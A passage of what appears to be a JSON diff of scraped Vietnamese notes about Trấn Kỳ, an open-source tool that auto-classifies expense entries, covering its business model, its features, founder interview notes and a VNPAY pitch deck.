sẽ bắt chước được tính năng này thôi. Ai có hiểu biết về lập trình nhìn vào cũng thấy đây chỉ là bắt regex chứ có gì đâu mà khó. Chịu khó bỏ thời gian ra để debug là được. Nên từ đầu việc giữ bí mật mã nguồn cũng không đem lại nhiều lợi thế cạnh tranh cho lắm. Cạnh tranh với bọn họ chỉ làm xao nhãng mục tiêu giúp Kendy. \r\n\r\nNhư cũng đã nói trong [[Lý do viết Trấn Kỳ]], việc sử dụng những app như vậy làm dữ liệu bị cô lập. Nên nếu mà gọi là cạnh tranh với họ, thì sẽ là cạnh tranh ở điểm họ không làm: [[Bạn có quyền chỉnh sửa dữ liệu của mình dưới bất kỳ hình thức nào|sự tự do dữ liệu]]. Thị trường mà Trấn Kỳ có lợi thế cạnh tranh không phải là thị trường dành cho người cần quản lý chi tiêu cá nhân, mà là dành cho những người cần xây dựng hệ thống quản trị phù hợp với luồng làm việc và suy nghĩ đặc thù của họ. Họ là những người đã dùng qua những app như vậy rồi và thấy chúng quá chật hẹp với mình. Họ hiểu giới hạn của các sản phẩm hướng đến sự thuận tiện của người dùng bình thường và đã có nhu cầu lớn về học lập trình rồi. \r\n\r\nChúng ta hay nghe báo chí nói về những thuật ngữ như chuyển đổi số, kinh tế số. Một trong những [[Sự khác nhau giữa công nghệ thông tin và chuyển đổi số]] là công nghệ thông tin cung cấp một công cụ để thực hiện tự động hoá một cách thức làm việc đã có sẵn. Không có máy tính thì làm lâu hơn, tốn công hơn, nhưng vẫn làm được. Còn chuyển đổi số triệt để hơn thế. Nó đòi hỏi ta phải chuyển đổi cả cách làm và tư duy làm việc. Những cách làm và tư duy mới này chỉ có thể khả thi khi máy tính được phát minh. Nói cách khác, không có máy tính thì không làm được chúng. Những app quản lý chi tiêu cá nhân kia tuy tiện thật, nhưng không có nó thì ta vẫn có thể làm được bằng tay. Còn sự lưu thông dữ liệu thì chỉ có máy tính mới làm được. Như vậy, các app đó chỉ mới là ứng dụng công nghệ thông tin trong việc thu chi, chứ không phải giải quyết nhu cầu chuyển đổi số của người sử dụng.\r\n\r\nTrao cho người dùng sự tự do dữ liệu nghĩa là giúp họ tham gia vào [[Người không học về lập trình thấy việc lập trình như làm phép thuật|thế giới phép thuật của lập trình]], hoà mình vào dòng chảy của [[Kinh tế số là kinh tế dữ liệu (data-driven economy)|nền kinh tế số]]. Lợi thế cạnh tranh của bọn mình không phải là ở ý tưởng phân loại dữ liệu độc đáo hay là việc giữ được bí mật mã nguồn, mà nằm ở việc trao quyền cho người sử dụng.\r\n\r\nViệc mở mã nguồn không phải lúc nào cũng là sự đe doạ tới nguồn thu nhập của doanh nghiệp. Vẫn có những dự án mã nguồn mở được đầu tư mấy chục triệu đô như Langchain, Deno, Docker. Có lẽ [[Nhà đầu tư không ăn cắp ý tưởng vì phải cạnh tranh với các nhà đầu tư khác]]. Trường hợp code quá dễ chắc tầm một tuần là làm được thì mới bị bắt chước, và như vậy thì mới không đáng để đầu tư. Tự thị trường cũng đã giải quyết được nhu cầu đó rồi. Chỉ khi nào tốn vài tháng để làm thì mới không đáng copy mà đáng đầu tư, vì nếu đi copy thì sẽ ko cạnh tranh được với một nhà đầu tư khác đầu tư luôn vào mình.\r\n\r\nXem thêm:: [[Điều nhà đầu tư quan tâm và điều muốn nhà đầu tư quan tâm]]\r\n# Mô hình hoạt động là gì?\r\nỞ thị trường của những người cần xây dựng hệ thống quản trị phù hợp với luồng làm việc và suy nghĩ đặc thù của mình, người dùng sẽ cần phải biết cách kết hợp Trấn Kỳ vào hệ thống của mình. Hiện tại Trấn Kỳ đã có thể tích hợp được với Google Keep và Fibery; nếu họ dùng hệ thống khác họ sẽ phải tự lập trình, hoặc thuê ngoài, thứ mà họ đã hiểu và chấp nhận. Lúc này sẽ có ba khả năng:\r\n\r\n```mermaid\r\nflowchart TB\r\n\r\ntiền{Có tiền
    để thuê
    ngoài?}--Có-->thuê(Thuê những
    người đã biết cách
    sử dụng Trấn Kỳ) \r\ntiền --Không-->tựHọc{Có thể tự học
    lập trình
    một mình?}\r\ntựHọc--Có-->làmTheoHướngDẫn(Làm theo các bài hướng dẫn sử dụng Trấn Kỳ) \r\ntựHọc--Không-->thamGiaLớpHọc(Tham gia các buổi
    hướng dẫn tích hợp Trấn Kỳ
    vào hệ thống cá nhân) \r\n``` \r\n\r\n| 💸 Có tiền để thuê ngoài? | 🕰️ Có thể tự học lập trình một mình? | Giải pháp |\r\n| ------------------------- | ------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |\r\n| ❌ | ✔ | Làm theo [các bài hướng dẫn sử dụng Trấn Kỳ](https://lậptrình.quảcầu.cc/%F0%9F%91%8FTr%E1%BA%A5n%20K%E1%BB%B3/H%C6%B0%E1%BB%9Bng%20d%E1%BA%ABn%20s%E1%BB%AD%20d%E1%BB%A5ng%20Tr%E1%BA%A5n%20K%E1%BB%B3/?utm_source=CW+Obsidian%2C+qu%E1%BA%A3n+l%C3%BD+d%E1%BB%B1+%C3%A1n+v%C3%A0+c%C3%B4ng+c%E1%BB%A5+ngh%C4%A9+%C2%BB+K%E1%BA%BF+ho%E1%BA%A1ch+ph%C3%A1t+tri%E1%BB%83n+Tr%E1%BA%A5n+K%E1%BB%B3&utm_medium=vault&utm_campaign=Tr%E1%BA%A5n+K%E1%BB%B3) |\r\n| ❌ | ❌ | Tham gia [[Các buổi hướng dẫn tích hợp Trấn Kỳ vào hệ thống quản lý]] |\r\n| ✔ | | Thuê những người đã biết cách sử dụng Trấn Kỳ |\r\n\r\n\r\nBạn sẽ không thể thuê ngoài trên các chợ nước ngoài như [Fiverr](https://www.fiverr.com/ \"Fiverr - Freelance Services Marketplace\") hay [Upwork](https://www.upwork.com/ \"Upwork | The World’s Work Marketplace\") được, vì việc xử lý tiếng Việt có những thứ rất lắt nhắt mà chỉ có người Việt mới có thể hiểu và xử lý được. Chợ chuyên ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-08-27T07:15:00.000Z", + "Ngày cập nhật": "2024-07-28T09:43:00.000Z", "id": "5W" }, { - "Tiêu đề": "Phân loại bằng tay", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/3 Tính năng/Cách phân loại/Phân loại bằng tay", + "Tiêu đề": "Trấn Kỳ là gì", + "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/9 Blog/Trấn Kỳ là gì", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { + "Tên dự án": "Trấn Kỳ", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Đáp ứng cho nhu cầu: `=filter(this.file.inlinks, (i) => contains(i.file.folder, \"1 Nhu cầu người dùng\"))`\r\nCác chương trình có tính năng này: `=filter(this.file.inlinks, (i) => contains(i.file.folder, \"5 Tên chương trình\"))`\r\n\r\nĐáp ứng yêu cầu:: \r\nĐồng thời có thêm tính năng::\r\n\r\nLoại chương trình:: [[Template thu chi trên Excel]]\r\nLoại chương trình:: [[Chương trình ghi chép thu chi cá nhân]]\r\nLoại chương trình:: [[Chương trình kế toán]]\r\nLoại chương trình:: [[Chương trình phân loại dữ liệu tự động]]\r\n", + "Mô tả bài đăng": "Và nó còn có thể là gì?", + "Toàn bộ nội dung": "# Giới thiệu về dự án lớn: Mạng lưới kết nối nhu cầu\r\nChính vì Trấn Kỳ là một phần của nó nên sẽ tập trung vào nhu cầu của bạn\r\nlinh hoạt trong việc chi trả \r\n\r\n# Vậy Trấn Kỳ là gì?\r\nTrấn Kỳ là một chương trình tự động phân loại, gắn nhãn thông tin theo thói quen và cách sắp xếp của riêng bạn bằng tiếng Việt tự nhiên\r\nPhân loại câu nhập bằng tiếng Việt tự nhiên\r\nBạn có cảm thấy chán nản, mất năng lượng vì phải tốn quá nhiều thời gian để phân loại chi tiêu cũng như các loại dữ liệu khác không? Nếu bạn là người cần phân loại tất cả các chi tiêu của mình một cách rõ ràng (việc nhắm hờ mỗi tháng chi chừng bao nhiêu tiền là không đủ với bạn), và bạn cần một chương trình:\r\n\r\n* Là phần mềm tự do và mã nguồn mở\r\n* Tích hợp được vào hệ thống vận hành hiện tại của bạn: báo cáo ngân hàng, Google Keep, Google Sheet, Notion, Obsidian, Fibery, Odoo, v.v.\r\n* Cho phép bạn khai báo dữ liệu theo thói quen và cách phân loại của chính mình\r\n* Tự động phân loại, gắn nhãn thông tin chứ không bắt bạn phải tự xử lý\r\n* Không giam dữ liệu của bạn tại chương trình\r\n* Không có bất cứ quảng cáo mời mọc hoặc theo dõi dữ liệu nào\r\n* Dùng được trên điện thoại khi không có mạng\r\n\r\nThì Trấn Kỳ là chương trình dành cho bạn.\r\n\r\n# Tính năng\r\n## Phân loại thông tin\r\nVí dụ, với câu nhập đầu vào là:\r\n\r\n```\r\nthăn bò 30k lườn gà 20k (giảm giá) cho Parid ở coopmart vợ trả \r\n```\r\n\r\nKết quả đầu ra sẽ là:\r\n```\r\n| Tên | Giá trị |\r\n| --------------------------- | ---------------- |\r\n| Món đồ | thăn bò, lườn gà |\r\n| Loại món đồ | Lương thực |\r\n| Phương thức thanh toán | vợ trả |\r\n| Loại phương thức thanh toán | Tiền mặt |\r\n| Nơi mua | CoopMart |\r\n| Loại nơi mua | Siêu thị |\r\n| Người thụ hưởng | Parid |\r\n| Loại người thụ hưởng | Gia đình |\r\n| Số tiền | 50000 |\r\n| Ghi chú | giảm giá |\r\n```\r\nChương trình có thể tự động bắt được các giá trị trên nhờ vào cấu hình bạn đã thiết lập từ trước. Ở ví dụ này, bạn đã thiết lập như sau:\r\n```\r\n|Từ khoá từ câu nhập...|...thuộc nhãn phân loại...|...thuộc chiều dữ liệu|\r\n| --- | --- | --- |\r\n|thăn bò, lườn gà|Lương thực|Món đồ|\r\n|vợ trả|Tiền mặt|Phương thức thanh toán|\r\n|coopmart|Siêu thị|Nơi mua|\r\n|Parid|Gia đình|Người thụ hưởng|\r\n|20k, 30k|Không thiết lập|Số tiền|\r\n|giảm giá|Không thiết lập|Ghi chú|\r\n```\r\n## Giá trị mặc định\r\nVí dụ, bạn có thể thiết lập để chương trình tự hiểu là nếu bạn không điền từ khoá gì trong chiều `Phương thức thanh toán` thì mặc định đó là `tiền mặt`.\r\n\r\n## Tiếp nhận từ khoá chưa được khai báo một cách trực tiếp\r\nSẽ có những lúc bạn muốn một từ khoá nào đó chưa kịp khai báo trong cấu hình xuất ra ở kết quả. Bạn có thể thiết lập các ký tự để chương trình hiểu là dữ liệu đó nên được cho vào mục nào.\r\n\r\nVí dụ, bạn mới gặp `Iris` và muốn tặng `dưa hấu` cho bạn ấy. Bạn chưa kịp khai báo tên của `Iris` vào cấu hình. Bạn có thể thiết lập ký tự `@` dành cho chiều `Người thụ hưởng`. Khi đó, bạn có thể dùng câu nhập:\r\n\r\n```\r\ntặng dưa hấu cho @Iris 50k\r\n```\r\n\r\nLúc này chương trình sẽ tự hiểu `Iris` là `Người thụ hưởng`.\r\n\r\nNếu sau đó không xuất hiện dấu `@` lần nữa thì từ khoá sẽ dừng khi gặp dấu cách đầu tiên. Nếu từ khoá chứa nhiều dấu cách thì bạn thêm một dấu `@` nữa ở ngay cuối. Ví dụ:\r\n\r\n```\r\ntặng dưa hấu cho @chị Iris@ 50k\r\n```\r\n\r\nBạn có thể khai báo ký tự đứng trước khác với ký tự đứng sau. Thường gặp nhất là khi bạn cần có một ghi chú nào đó. Ví dụ:\r\n\r\n```\r\ntặng dưa hấu cho @chị Iris@ 50k (sau đó mới biết chị Iris dị ứng dưa hấu)\r\n```\r\n\r\n## Viết tắt\r\nVí dụ, bạn muốn viết tắt `as`, `st` cho nhanh, nhưng vẫn muốn kết quả hiện ra đầy đủ là `ăn sáng`, `siêu thị`. Bạn còn có thể dùng viết tắt cho những câu nhập phức tạp.\r\n\r\nVí dụ:\r\n\r\n* `as` → `ăn sáng`\r\n* `st` → `siêu thị`\r\n* `xăng` → `xăng 50k`\r\n* `trọ` → `tiền trọ 3tr chuyển khoản (vay qua nhóm Tình Thân)`\r\n\r\n## Hiểu từ ghép\r\nVí dụ, nếu lúc thiết lập cấu hình bạn có khai báo ba từ khoá `bún`, `bò`, và `bún bò`, và trong câu nhập có chữ `bún bò` thì chương trình sẽ hiểu đây là một từ chứ không nhận diện nhầm là có hai từ `bún` và `bò`.\r\n\r\n## Một từ khoá có thể thuộc về nhiều nhãn phân loại\r\nVí dụ, từ khoá `ăn trưa với` vừa có thể thuộc nhãn `Mối quan hệ`, vừa có thể thuộc nhãn `Thực phẩm`\r\n\r\n# Trấn Kỳ còn có thể là gì?\r\nDữ liệu về thu chi chỉ là một trong nhiều thứ bạn có thể dùng nó để phân loại. Ví dụ:\r\n\r\n* **Ý tưởng** : `Kĩ thuật viết văn %topic_Writing @tác_giả_a`\r\n* **Mối quan hệ** : `Gặp @ông_A bàn về việc X, có đi ăn ở !nhà_hàng_Y 200k ck vcb`\r\n* **Công việc** : `Công việc A cần giao cho @bạn_B liên hệ với @@đối_tác_C tại !quán_D với chi phí dự kiến 300k ck vcb và nhận output &&item_X`\r\n* **Cảm xúc** : `xem phim:Inception thấy chấn động`\r\n* **Sức khoẻ:** `chạy bộ 100m, hít đất 30 cái`\r\n\r\n## Một số ví dụ về việc tích hợp Trấn Kỳ vào hệ thống\r\n### Nhập liệu từ Google Keep\r\nGoogle Keep là một phần mềm ghi chú rất phổ biến với mọi người. Nó:\r\n- Có trên iOS, Android và web\r\n- Mở rất nhanh và có thể mở trong tình trạng không có mạng\r\n- Đồng bộ nhanh chóng trên tất cả các thiết bị\r\n- Hoàn toàn miễn phí\r\n- Cho phép nhiều người cùng chỉnh sửa một ghi chú\r\n- Sử dụng giọng nói\r\n- Nhập số lượng lớn\r\n\r\nViệc có thể nhập liệu từ Google Keep sẽ giúp cho bạn có thể nhập nhanh những khoảng chi tiêu chung với khối lượng lớn vào lúc bạn không có đầu óc để phân loại, phù hợp cho gia đình, nhóm bạn, công ty những lúc chợ búa, du lịch, tổ chức sự kiện, v.v.\r\n\r\nHiện tại đã có sẵn plugin nhập dữ liệu từ Google Keep và tạo bảng phân loại trên Fibery. \r\n\r\n### Nhập liệu từ Discord, Slack\r\nDiscord và Slack là những phần mềm nhắn tin phổ biến cho cộng đồng hoặc tổ chức. Một server sẽ có nhiều kênh (channel) để việc thảo luận được tập trung, không bị lạc chủ đề quá nhiều. Thông thường, các bộ phận trong tổ chức sẽ có một kênh riêng.\r\n\r\nTrong quá trình thảo luận, thỉnh thoảng sẽ có những thông tin cần được phân loại và lưu vào hệ thống quản lý riêng, như quỹ hoặc công việc. Bạn có thể tạo bot để tự động gom các thông tin này ngay tại nơi thảo luận. Ví dụ:\r\n- `$ họp 70k` → Ghi vào trong sổ quỹ rằng 70000 VND đã được chi cho việc họp\r\n- `! sửa bug` → Ghi vào trong bảng tổng hợp công việc rằng cần sửa bug\r\n\r\nNhững thông tin như người nhập, kênh nhập cũng sẽ được ghi lại. Ví dụ, ghi `$ họp 70k` trong kênh Trấn Kỳ thì sẽ hiểu là lý do chi là để họp về Trấn Kỳ. Nhưng cũng với câu nhập đó trong kênh Cảo Thần thì sẽ hiểu là lý do chi là để họp về Cảo Thần.\r\n\r\n# 👉 Link: tranky.deno.dev/cdddss\r\n\r\nhttps://www.facebook.com/quacau.sphere/posts/pfbid072iAT8Y3zdAP5L7VGiHkmxjxQfPapaozK8fpr64nQ4uVyaKerhv2j4uqd8KMWipvl\r\n\r\n![Máy phân loại tiền](https://daynhauhoc.s3.dualstack.ap-southeast-1.amazonaws.com/optimized/3X/3/0/3051a1b98cab382e9bcd3e5bccf81d2e973f3f17_2_1035x690.jpeg) \r\n![Google Keep to Fibery](https://daynhauhoc.s3.dualstack.ap-southeast-1.amazonaws.com/optimized/3X/9/9/99e14fce9d0bcda573db5aae334ad4e71bd2035f_2_1035x514.jpeg) \r\n![Giao diện khởi động](https://i.imgur.com/rBe2iQ9.png)\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-08-27T07:10:00.000Z", + "Ngày cập nhật": "2024-07-28T09:43:00.000Z", "id": "5X" }, { - "Tiêu đề": "Phân loại tự động theo mô hình ngôn ngữ lớn", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/3 Tính năng/Cách phân loại/Phân loại tự động theo mô hình ngôn ngữ lớn", + "Tiêu đề": "Trần Nam Aramis", + "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/Trần Nam Aramis", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { + "Tên dự án": "Trấn Kỳ", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Đáp ứng cho nhu cầu: `=filter(this.file.inlinks, (i) => contains(i.file.folder, \"1 Nhu cầu người dùng\"))`\r\nCác chương trình có tính năng này: `=filter(this.file.inlinks, (i) => contains(i.file.folder, \"5 Tên chương trình\"))`\r\n\r\nYêu cầu đầu vào:: [[Dữ liệu có văn cảnh lớn]], [[Dữ liệu có văn cảnh nhỏ]]\r\nĐồng thời có thêm tính năng:: [[Nhận diện typo]]\r\n\r\nLoại chương trình:: [[Chương trình phân loại dữ liệu tự động]]", + "Toàn bộ nội dung": "2 năm trước làm app, quỹ phát triển thanh niên, giúp phasttrieenr cho thanh niên, giúp đỡ thanh niên và hướng nghiệp\r\ntrách nhiệm sangs tạo.\r\n\r\nmeet your mentor \r\n\r\nkhông biết phải trở thành ltv thì như thế nào\r\n\r\nĐầu tiên làm platform trên web \r\nlàm marketing \r\n\r\nnhiều người học xong rồi mới hoá ra là mình ko hợp với nghề đó\r\n\r\n\r\nrất khó thể groww. Các bạn rất hào hứng ban đầu, để cho có trách nhiệm thì phải trả một khoản phí nhỏ. Đến giờ hẹn thì ko thấy sv đi đâu cả\r\n\r\nmentoree gọi vốn thành công một quỹ nào đấy. Sau này cũng phải đổi hướng để bán khoá học. Đó là mục tiêu join vào launch\r\n\r\ntất cả đều nói là cần mentor, nhưng cuối cùng tiếp xúc nhưng các bạn thích thu nhập thêm, đi xem phim. Nó ko phải cấp thiết. Đến lúc đó thì hết tiền để đốt\r\n\r\nNgoài đó ra thì có giúp đỡ các doanh nghiệp nông nghiệp. Hằng năm có rất nhiều chương trình dạy cho nông nghiệp\r\nĐào tạo markeing cho các công ty nông nghiệp rất nhiều\r\n\r\ngặp vấn đề dòng tiền. VD tháng này có 100tr doanh thu thì nghĩ là có thể tiêu tiền. Phải ghi được công nợ. Đang nợ 500tr nhưng chỉ ghi là tháng này phải trả 100tr thôi.\r\n\r\nCũng thuê một bên, tiêu 800tr. Cuối năm ngoái thì tình hinh kinh tế nên đã tạm dừng\r\n\r\nkế toán chỉ giải quyết vấn đề thuế, hoá đơn, chứ ko giải quyết cái này. Ko biết lời lỗ thế nào, hỏi đến là ko biết\r\n\r\ncác đối tác đó cũng đã bỏ rồi\r\n\r\nmicrofinance doanh nghiệp thì chỉ tài chính nhỏ\r\nvấn đề phải thuyết phục khách hàng \r\n\r\nTrước đó còn app khác\r\n\r\nđã làm bản đè xuất , làm no code. \r\n\r\nnếu hỏi \r\n\r\n\r\nphải đi thuyết trình bao nhiêu\r\n\r\n200tr. QUỹ đó thuộc một công ty không nói tên được, nhưng người đứng đầu muốn thay đổi hướng đi\r\n\r\n\r\n# Vấn đề\r\nnội dung kém, giao diện kém, chưa làm khách hàng cảm thấy muốn dùng\r\n\r\ncảm tưởng em ham mê về mặt kỹ thuật. Tò mò về cái crawl Facebook, dạy. Phải có người có đầu óc về kinh tế, marketing, \r\n\r\nLợi thế là người ta nghĩ là nhỏ\r\n\r\nđi dạy cho các doanh nghiệp khởi nghiệp\r\ndạy online miễn phí\r\ncó những bên mời để trả tiền\r\n\r\n\r\nghi chép thì ok, nhưng dòng tiền thì còn cần hơn\r\nchỉ ghi chép mà ko có dòng tiền thì ko giúp ích\r\nđa phần họ chỉ nghĩ là họ cần bán hàng, chứ ko nghĩ là mình cần quản lý tiền\r\nkhong biết excel, ko biết máy tính. Khách hàng ko ở Launch\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-08-27T07:10:00.000Z", + "Ngày cập nhật": "2024-07-30T11:42:00.000Z", "id": "5Y" }, { - "Tiêu đề": "Phân loại tự động theo quy luật", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/3 Tính năng/Cách phân loại/Phân loại tự động theo quy luật", + "Tiêu đề": "Làm sao để đưa VNPAY vào luồng hoạt động của cửa hàng", + "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Plugin tích hợp vào các chương trình kế toán/Làm sao để đưa VNPAY vào luồng hoạt động của cửa hàng", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { + "Tên dự án": "Trấn Kỳ", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Đáp ứng cho nhu cầu: `=filter(this.file.inlinks, (i) => contains(i.file.folder, \"1 Nhu cầu người dùng\"))`\r\nCác chương trình có tính năng này: `=filter(this.file.inlinks, (i) => contains(i.file.folder, \"5 Tên chương trình\"))`\r\n\r\nĐáp ứng yêu cầu:: \r\nĐồng thời có thêm tính năng::\r\n\r\nLoại chương trình:: [[Chương trình phân loại dữ liệu tự động]]", + "Toàn bộ nội dung": "Đề bài:\r\n> Ngành hàng nào dùng loa sẽ ra được 500 giao dịch/tháng?\r\n---\r\n\r\nCâu hỏi đó nằm trong một câu hỏi lớn hơn:\r\n> Làm sao để đưa VNPAY vào luồng hoạt động của cửa hàng?\r\n\r\n---\r\nVNPAY cung cấp giải pháp về trung gian thanh toán. Nhưng một cửa hàng không mở ra chỉ để thanh toán. Thanh toán chỉ là một khâu trong vận hành.\r\n\r\n---\r\n\r\nCho nên, câu hỏi cần được trả lời là:\r\n> Làm sao để VNPAY đem lại giá trị cho chủ cửa hàng, không chỉ lúc ở khâu giao dịch mà còn ở những khâu khác? Không chỉ ở cửa hàng mà còn là lúc không ở cửa hàng?\r\n---\r\n\r\nĐiều đó dẫn đến câu hỏi:\r\n> Trước và sau giao dịch, chủ cửa hàng cần gì?\r\n---\r\n\r\n# Trước và sau giao dịch, chủ cửa hàng cần gì?\r\n----\r\n## Trước giao dịch \r\n(Làm gì để có tiền?) \r\n- Lên kế hoạch, tạo sản phẩm:\r\n - Thu thập dữ liệu, tự động hoá việc xử lý dữ liệu, xây dựng kho dữ liệu\r\n - Hệ thống quản lý tài nguyên, kiến thức, dự án\r\n- Thu hút khách hàng: tạo web, theo dõi lưu lượng người truy cập\r\n\r\n----\r\n## Sau giao dịch\r\n(Có tiền rồi thì làm gì?) \r\n- Tạo hạch toán kế toán, quản lý công nợ \r\n- Lên kế hoạch, tạo sản phẩm: \r\n - Thu thập dữ liệu, tự động hoá việc xử lý dữ liệu, xây dựng kho dữ liệu \r\n - Hệ thống quản lý tài nguyên, kiến thức, dự án \r\n- Quản lý chi tiêu của bản thân, gia đình. Lên kế hoạch tài chính \r\n\r\n---\r\n# Các SME nói gì về hạch toán kế toán?\r\n----\r\n```quote\r\nquote: Đa phần chủ doanh nghiệp chỉ nghĩ là họ cần bán hàng, chứ không nghĩ là mình cần quản lý tiền. Kế toán chỉ giải quyết vấn đề thuế, hoá đơn, chứ không cho biết dòng tiền hiện nay thế nào.\r\nauthor:\r\n name: Trần Nam\r\n title: Trưởng phòng Thông tin và Phụ huynh\r\n org: Trường Phổ Thông Liên Cấp Song Ngữ Maya\r\n image: Ảnh/Trần Nam.jpg\r\n```\r\n----\r\n```quote\r\nquote: Khi nhập hàng, phát sinh chi phí thì chủ cửa hàng chỉ ghi chú trong tin nhắn. Chi phí họ không ghi nhận lại luôn. Họ chỉ canh số tiền họ thu được, kiểu nhìn lướt được khoảng khoảng 5tr là đủ. Đối với họ việc quản lý dòng tiền không còn là điểm đau nữa. Nhưng sau một thời gian nhìn lại thì không có lời.\r\nauthor:\r\n name: Mai Đức Quang\r\n title: Giám đốc Tài chính\r\n org: Thương hiệu Trà sữa A Lỳ\r\n image: Ảnh/Mai Đức Quang.jpg\r\n```\r\n----\r\n```quote\r\nquote: Ngành kế toán của chị trước giờ làm thủ công. Doanh nghiệp hiện tại của chị dùng Misa đưa cho kế toán cũng mất khá nhiều thời gian. Các giao dịch thường lặp đi lặp lại hàng tháng, cần tới 3, 4 bạn kế toán để ghi chép lại. Bộ máy cồng kềnh mà mức độ chính xác không cao.\r\nauthor:\r\n name: Trần Thuý Hoà\r\n title: Giám đốc Tài chính\r\n org: Chuỗi cửa hàng Révi Coffee & Tea\r\n image: Ảnh/Trần Thuý Hoà.jpg\r\n```\r\n---\r\nĐiều đó dẫn đến câu hỏi:\r\n> Tại sao VNPAY không giúp các cửa hàng, doanh nghiệp quản lý được dòng tiền hiệu quả hơn?\r\n\r\n(Nhìn xem đối thủ đang làm gì: Momo đang cho trả tiền cho khách hàng [phân loại các giao dịch chưa phân loại](https://www.momo.vn/tin-tuc/khuyen-mai/lam-nhiem-vu-phan-loai-giao-dich-100-co-qua-0d-6156))\r\n\r\n----\r\n## Hành vi mới\r\nChủ cửa hàng mỗi khi đi mua nguyên vật liệu (tức là khi họ là khách hàng của một cửa hàng khác) chỉ cần quét mã và nhập liệu nội dung hạch toán ngay trên app với viết tắt theo thói quen và sắp xếp của riêng họ, là sẽ có bản hạch toán hoàn chỉnh trên Merchant View.\r\n\r\n----\r\n## Hệ quả\r\nHọ sẽ có thêm động lực để chỉ quẹt mã VNPAY, và mong muốn cửa hàng đầu mối của mình có mã VNPAY. \r\n\r\nĐây chính là phương thức hữu hiệu nhất để các chủ cửa hàng này tiếp nhận VNPAY và trở thành phương thức thanh toán chính của chủ cửa hàng. \r\n\r\n---\r\n\r\n### Các hình thức chăm sóc, thu hút sự quan tâm \r\nVới cửa hàng chưa có nhiều quan tâm tới việc kiểm soát dòng tiền: \r\n - Giới thiệu công cụ giúp quản lý dòng tiền (sử dụng cấu hình có sẵn) \r\n - Tổ chức các buổi thảo luận để kết nối, giới thiệu giải pháp cho các nhu cầu khác \r\n\r\nVới doanh nghiệp có nhu cầu tuỳ chỉnh theo đặc thù cửa hàng: \r\n - Cử người đến hướng dẫn thiết lập cấu hình \r\n\r\n---\r\n\r\n```quote\r\nquote: Để có thể thiết kế một giải pháp một cách nhanh chóng và tự tin, ta cần được thử nghiệm ý tưởng mới và kiểm tra giả thiết ngay khi chúng vừa được nghĩ ra\r\nauthor:\r\n name: Bret Victor\r\n title: Nhà nghiên cứu về công cụ nghĩ\r\n org: Dynamic Land\r\n image: https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F9a295812-c966-4ad9-87a0-49519264ada0_1120x600.webp\r\n```\r\n\r\n---\r\n# Công nghệ để tạo hạch toán kế toán tự động\r\n----\r\nHiện tại trên thị trường, có vẻ như chỉ có duy nhất Trấn Kỳ là có công nghệ lõi có thể tự động tạo hạch toán kế toán bằng tiếng Việt, rẻ và chính xác. \r\n![Keep to Fibery](Ảnh/Keep%20to%20Fibery.png)\r\n\r\n---\r\n# Thử dùng Trấn Kỳ\r\nBạn có thể thử dùng Trấn Kỳ ngay ở slide sau. Để thoát demo và đọc tiếp slide:\r\n- Trên máy tính: bấm vào nút qua trang tiếp theo ở góc phải phía dưới, hoặc bấm Esc\r\n- Trên điện thoại: kéo hết trang \r\n---\r\n
    \r\n
    \r\n\r\n---\r\n## Tài liệu\r\n- [Demo Trấn Kỳ](https://tranky.deno.dev/?utm_source=VNPAY+(Tài+liệu+tham+khảo)&utm_medium=Tập+tin&utm_campaign=&utm_content=&utm_term=) \r\n- [Lý do viết Trấn Kỳ](https://obsidian.quảcầu.cc/📐%20Dự%20án/Trấn%20Kỳ/9%20Blog/Lý%20do%20viết%20Trấn%20Kỳ?utm_source=VNPAY+(Tài+liệu+tham+khảo)&utm_medium=Tập+tin&utm_campaign=C1+Trấn+Kỳ&utm_content=&utm_term=) \r\n- [App ghi chép chi tiêu cho người dùng cuối với lõi là Trấn Kỳ](https://www.figma.com/proto/9M7qILhSJRZKvKvJf9pYpG/Slide?node-id=1-2&t=f48VKem02ha5ZTjz-1&scaling=contain&content-scaling=fixed&page-id=0%3A1&starting-point-node-id=1%3A2&share=1) \r\n\r\n---\r\n\r\n## Liên hệ\r\n- Lý Minh Nhật: lyminhnhat911@gmail.com\r\n- Quả Cầu: quacau.thesphere@gmail.com\r\n- [Mã nguồn slide](https://doi-thoai.deno.dev/fI.3Y.1) \r\n- Discord của nhóm phát triển Trấn Kỳ: [https://discord.com/invite/jWTk4EHFK2](https://doi-thoai.deno.dev/discordQC.1g.1) \r\n\r\n---\r\n# Phụ lục\r\nÝ kiến từ chị Trần Thuý Hoà\r\n----\r\n## View người dùng\r\n### Điểm mạnh\r\n1. Giúp đối soát tiền thu với các hóa đơn bán hàng nhanh hơn do qua 1 hệ thống trung gian thanh toán có thể map số bill với tiền về\r\n2. Đẩy mạnh cashless – cái này nhiều doanh nghiệp cũng phát triển\r\n3. Ở giai đoạn đầu VNPAY và các cổng thanh toán burn tiền thì có nhiều khuyến mại\r\n----\r\n### Điểm yếu\r\n1. Đúng như em nói, thanh toán 